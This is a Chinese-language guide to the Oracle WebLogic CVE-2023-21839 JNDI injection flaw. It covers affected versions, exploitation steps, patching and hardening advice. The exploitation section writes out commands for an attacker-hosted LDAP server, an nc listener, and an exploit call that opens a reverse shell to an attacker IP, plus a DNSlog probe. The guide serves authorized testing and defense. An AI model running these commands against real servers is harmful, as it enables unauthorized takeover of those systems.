WebLogic CVE-2023-21839漏洞分析与利用指南

一、漏洞概述

CVE-2023-21839是Oracle WebLogic Server中的一个严重安全漏洞，属于JNDI注入漏洞。该漏洞具有以下特点：

1. 漏洞类型：远程代码执行(RCE)
2. 攻击方式：通过T3/IIOP协议进行未经身份验证的远程攻击
3. 利用条件：
   • JDK版本过低
   • 本地存在小工具(javaSerializedData)
4. 攻击结果：可导致WebLogic服务器被完全接管
5. 利用协议：可通过rmi/ldap远程协议进行远程命令执行

二、影响范围

该漏洞影响Oracle WebLogic Server的多个版本，具体受影响版本需参考Oracle官方公告。通常包括但不限于以下版本：

• WebLogic Server 12.2.1.3.0
• WebLogic Server 12.2.1.4.0
• WebLogic Server 14.1.1.0.0

三、漏洞利用方式

方法一：反弹Shell利用

1. 环境准备：

   • 确认目标WebLogic服务器地址及端口(默认7001)
   • 下载漏洞利用工具：Weblogic-CVE-2023-21839
   • 下载JNDI注入工具：JNDIExploit-1.4-SNAPSHOT.jar

2. 攻击步骤：

   a. 启动LDAP服务(攻击者VPS上执行)：

   java -jar JNDIExploit-1.4-SNAPSHOT.jar -i <攻击者IP> -p 1389
   

   注意：确保1389和3456端口开放

   b. 在Kali上启动NC监听：

   nc -lvnp 9999
   

   c. 执行漏洞利用(注意JDK版本需切换至低版本)：

   java -jar Weblogic-CVE-2023-21839.jar <目标服务器IP>:7001 ldap://<攻击者IP>:1389/Basic/ReverseShell/<攻击者IP>/9999
   

3. 验证利用：

   • 查看LDAP服务器日志
   • 检查NC监听是否收到反弹shell

方法二：DNSlog外带验证

1. 获取DNSlog域名(如vqd5uu.dnslog.cn)
2. 执行漏洞利用：

   java -jar Weblogic-CVE-2023-21839.jar <目标IP>:7001 ldap://vqd5uu.dnslog.cn
   

3. 检查DNSlog平台是否收到请求

四、漏洞防护措施

1. 官方补丁：

   • 下载并安装Oracle官方最新补丁：Oracle补丁下载

2. 网络防护：

   • 限制T3协议访问，可通过防火墙规则或WebLogic配置实现
   • 禁用不必要的IIOP协议

3. 系统加固：

   • 升级JDK至最新版本
   • 移除不必要的Java序列化小工具

4. 监控措施：

   • 监控异常T3/IIOP协议流量
   • 设置WebLogic日志审计，关注可疑JNDI请求

五、注意事项

1. JDK版本要求：

   • 漏洞利用需要低版本JDK环境
   • 若使用JDK17等高版本，需安装并切换至低版本JDK

2. 工具使用：

   • 确保使用最新版本的漏洞利用工具
   • 测试环境中验证后再应用于生产环境

3. 法律合规：

   • 仅限授权测试使用
   • 未经授权攻击他人系统属违法行为

六、参考资源

1. 漏洞利用工具：https://github.com/DXask88MA/Weblogic-CVE-2023-21839
2. JNDI注入工具：https://github.com/feihong-cs/JNDIExploit
3. Oracle官方补丁：https://support.oracle.com/rs?type=doc&id=2917213.2

通过本文档，您可以全面了解CVE-2023-21839漏洞的原理、利用方式及防护措施，请根据实际环境采取相应的安全防护。